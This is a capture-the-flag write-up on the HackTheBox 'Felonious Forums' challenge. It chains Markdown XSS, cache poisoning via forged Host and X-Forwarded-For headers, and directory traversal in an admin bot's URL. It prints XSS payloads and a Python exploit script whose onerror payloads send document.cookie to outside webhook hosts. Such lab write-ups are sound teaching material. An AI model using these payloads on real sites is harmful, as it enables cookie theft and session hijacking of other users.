Markdown XSS to Cache Poisoning through Directory Traversal

November 1, 2024

The HackTheBox Business CTF 2022: Felonious Forums was a forum where users could create threads and preview posts using Markdown. The key vulnerabilities were as follows:

  1. XSS (Cross-Site Scripting) in the post preview feature.
  2. Directory Traversal in the admin bot’s URL request.
  3. Cache Poisoning in the cached preview responses.

Step 1: Finding the XSS in the Post Preview Feature

The application allowed users to preview Markdown posts, which were converted to HTML before being displayed. The conversion was intended to sanitize the input and prevent XSS. However, the DOMPurify library, which was used for sanitization, allowed certain attributes that could be leveraged to inject malicious JavaScript.

The Payload

By adding an image with an invalid source and an onerror attribute, we can inject JavaScript that triggers when the image fails to load. Here’s the payload:

![test](https://example.com/image.png"onerror="alert('XSS'))

When rendered in HTML, it looks like this on the page:

<img src="https://example.com/image.png" onerror="alert('XSS')" alt="test">

This onerror attribute fires when the image fails to load, triggering the JavaScript.

Executing the Payload

Submitting this payload in the preview renders the JavaScript successfully, confirming that XSS is possible. But since this is a self-XSS, it only affects the person submitting the payload. This is where cache poisoning and directory traversal come into play.

Step 2: Cache Poisoning with a Forged Host and IP

To leverage this XSS against the admin bot, we need to store the payload in the cache. Here’s how it works:

Caching Mechanism: The forum’s preview feature cached each preview response for 30 seconds. The cache key was determined by headers like Host and X-Forwarded-For, as well as the URL.

const cacheKey = (req, res) => {
	return `_${req.headers.host}_${req.url}_${(req.headers['x-forwarded-for'] || req.ip)}`;
}

Controlling the Cache Key: By setting custom headers, we’re are able to control the cache key to match what the admin bot would use. Here’s how:

  • Set Host to 127.0.0.1:1337, making the request appear local.
  • Set X-Forwarded-For to 127.0.0.1 to match the IP the admin bot uses.

Craft a request like this:

POST /threads/preview HTTP/1.1
Host: 127.0.0.1:1337
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

content=![XSS](https://example.com/image.png"onerror="fetch('https://my-webhook.com?cookie='+document.cookie)")

This payload, when previewed, caches the malicious response under the same key the admin bot would use. Now, when the bot loads the preview, it will encounter the cached XSS payload.

Step 3: Directory Traversal in the Admin Bot's URL Request

With the XSS payload cached, the next step is to make the admin bot load this cache entry. Normally, the bot requests URLs under the /report/:id path, which differs from the preview URL, /threads/preview. This means the cache key doesn’t match up automatically.

But while inspecting the bot's code, check the following line in bot.js

await page.goto(`http://127.0.0.1:1337/report/${id}`, {
			waitUntil: 'networkidle2',
			timeout: 5000
		});

This code injects the id directly into the URL without sanitization, allowing us to use directory traversal (../) to make the bot request any URL we want.

Leveraging Directory Traversal

By setting id to ../threads/preview, we can direct the bot to load /threads/preview instead of /report/:id. This makes it possible to poison the cache for /threads/preview with our XSS payload, then force the bot to load it.

One small complication: the /threads/preview endpoint expects a POST request, while the bot uses a GET request. However, the caching mechanism ignored the HTTP method when matching cache keys. This means:

  1. It’s possible in this case to cache the XSS payload with a POST request.
  2. When the bot visits /threads/preview with a GET request, it receives the cached response with the XSS payload.
router.get('/threads/preview', AuthMiddleware, routeCache.cacheSeconds(30, cacheKey), async (req, res) => {
    return res.redirect('/threads/new');
});

Final Exploit Script

#!/usr/bin/env python3
import requests, sys, random

proxy = "http://127.0.0.1:8080"

def register_and_login(s, base_url):
    random_value = "".join(random.choices("abcdefghijklmnopqrstuvwxyz", k=10))
    s.post(f"http://{base_url}/api/register", json={"username": random_value, "password": random_value})
    s.post(f"http://{base_url}/api/login", json={"username": random_value, "password": random_value})

def exploit(s, base_url):
    headers = {"X-Forwarded-For": "127.0.0.1", "Host": "127.0.0.1:1337"}
    body = {"title": "", "content": '''![example](https://www.example.com/image.png"onerror="fetch('https://webhook.site/d523d466-5344-4bb7-8dd9-07ac6c08ea4b?'+document.cookie))'''}
    directory_traversal = {"post_id": "../threads/preview"}
    s.post(f"http://{base_url}/threads/preview", headers=headers, data=body, cookies=s.cookies.get_dict())
    s.post(f"http://{base_url}/api/report", headers=headers, json=directory_traversal, cookies=s.cookies.get_dict())

def main():
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py <url>")
        sys.exit(1)
    s = requests.Session()
    s.proxies = {"http": proxy, "https": proxy}
    register_and_login(s, sys.argv[1])
    exploit(s, sys.argv[1])

if __name__ == "__main__":
    main()